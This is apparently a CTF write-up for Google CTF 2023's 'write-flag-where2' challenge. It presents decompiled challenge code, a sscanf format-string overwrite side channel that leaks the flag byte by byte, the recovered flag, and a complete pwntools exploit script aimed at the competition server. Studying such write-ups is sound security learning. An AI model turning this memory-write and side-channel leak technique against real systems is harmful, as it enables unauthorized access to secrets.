write-flag-where2

by bronson113 / b01lers

Tags: pwn arbitrary-write

Rating:

```
Part2:
Was that too easy? Let's make it tough
It's the challenge from before, but I've removed all the fluff

nc wfw[2.2023.ctfcompetition.com 1337
solves 155
```

From reversing the challenge, we can quickly identify the behavior. The challenge first output the process map, allowing us to know pie, libc, and stack addresses. It then close stdin/stdout/stderr, and only accept inputs from fd 1337. Lastly, the challenge goes into a while loop, taking an address and a count, then write count number of bytes of flag to the specified address. Note that the flag is written by writting directly to the process memory file, so all addresses are writable, including the code themselves. This will be handy for part 3.

The decompiled code from ghidra for part 3, with some modification to reflect each level:

```
int main(){
  local_c = open("/proc/self/maps",0);
  read(local_c,maps,0x1000);
  close(local_c);
  local_10 = open("./flag.txt",0);
  if (local_10 == -1) {
    puts("flag.txt not found");
  }
  else {
    sVar2 = read(local_10,flag,0x80);
    if (0 < sVar2) {
      close(local_10);
      local_14 = dup2(1,0x539);
      local_18 = open("/dev/null",2);
      dup2(local_18,0);
      dup2(local_18,1);
      dup2(local_18,2);
      close(local_18);
      alarm(0x3c);
      dprintf(local_14,
              "Your skills are considerable, I\'m sure you\'ll agree\nBut this final level\'s toughn es
s fills me with glee\nNo writes to my binary, this I require\nFor otherwise I will s urely expire\n"
             );
      dprintf(local_14,"%s\n\n",maps);
      while( true ) {
    // dprintf(local_14,"Give me an address and a length just so:\n<address> <length>\nAnd I\'ll write
it wh erever you want it to go.\nIf an exit is all that you desire\nSend me nothing and I  will happily
expire\n"); // part 1
```

```
        local_78 = 0;
        local_70 = 0;
        local_68 = 0;
        local_60 = 0;
        local_58 = 0;
        local_50 = 0;
        local_48 = 0;
        local_40 = 0;
        sVar2 = read(local_14,&local_78,0x40);
        local_1c = (undefined4)sVar2;
        iVar1 = __isoc99_sscanf(&local_78,"0x%llx %u",&local_28,&local_2c);
    // if (((iVar1 != 2) || (0x7f < local_2c))) // part 2
        if (((iVar1 != 2) || (0x7f < local_2c)) || ((main - 0x5000 < local_28 && (local_28 < main + 0x5000)))) // part 3
        break;
        local_20 = open("/proc/self/mem",2);
        lseek64(local_20,local_28,0);
        write(local_20,flag,(ulong)local_2c);
        close(local_20);
      }
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
    puts("flag.txt empty");
  }
  return 1;
}
```

Part 2 proves to be trickier. In ghidra, the exit call stopped the decompiler from disassembling the code further, therefore missing a dprintf function call after the exit(0) call. Instead, I tried to leak the flag using the sscanf function with the string 0x%llx %u. The sscanf function call will attempt to match the input format string from the input string. In the original challenge, it's trying to match the starting 0x before reading the hex numbers as input. For example, if we overwrite the format string to Cx%llx %u and send the input Cx0 0, the program will continue normally, but input Dx0 0 will exit immediately after. Therefore, we can overwrite that string, then attempt to read different strings, leaking the flag byte by byte. See solve2.py for implementation details.

`CTF{impr355iv3_6ut_can_y0u_s01v3_cha113ng3_3?}`

```
#!/usr/bin/python3
from pwn import *
elf = ELF("./chal_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.35.so")

context.binary = elf
context.terminal = ["tmux", "splitw", "-h"]

def connect():
        nc_str = "nc wfw2.2023.ctfcompetition.com 1337"
        _, host, port = nc_str.split(" ")
        p = remote(host, int(port))

    return p

def attempt(cur_flag, ch):
    p = connect()
    p.recvuntil(b"fluff\n")
    elf.address = int(p.recvline().split(b'-')[0], 16)

    for i in range(6):
        p.recvline()
    libc.address = int(p.recvline().split(b'-')[0], 16)

    for i in range(11):
        p.recvline()

    stack_base = int(p.recvline().split(b'-')[0], 16)

    for i in range(5):
        p.recvline()

#    print(hex(elf.address), hex(libc.address), hex(stack_base))
    count = len(cur_flag)+1
    target_address = elf.address+0x20bc-(count-1)
    overwrite_str = hex(target_address)
    p.sendline(f"{overwrite_str} {count}")

    overwrite_str = hex(target_address)
    p.sendline(f"{ch}{overwrite_str[1:]} {count}")

    overwrite_str = hex(target_address)
    p.sendline(f"-{overwrite_str[1:]} {count}")

    try:
        p.recv(1, timeout=1)
    except Exception:
        p.close()
        return False
    p.close()
    return True

def main():
    context.log_level='critical'
    FLAG = "CTF{"
    for l in range(100):
        for c in "_"+string.printable[:-7]:
            print(FLAG+c)
            if attempt(FLAG, c):
                FLAG+=c
                break
        if FLAG[-1] == "}":
            break
    print(FLAG)


if __name__ == "__main__":
    main()
```

link to blog

Original writeup (https://bronson113.github.io/2023/06/26/googlectf-2023-writeup.html#write-flag-where-13).

Comments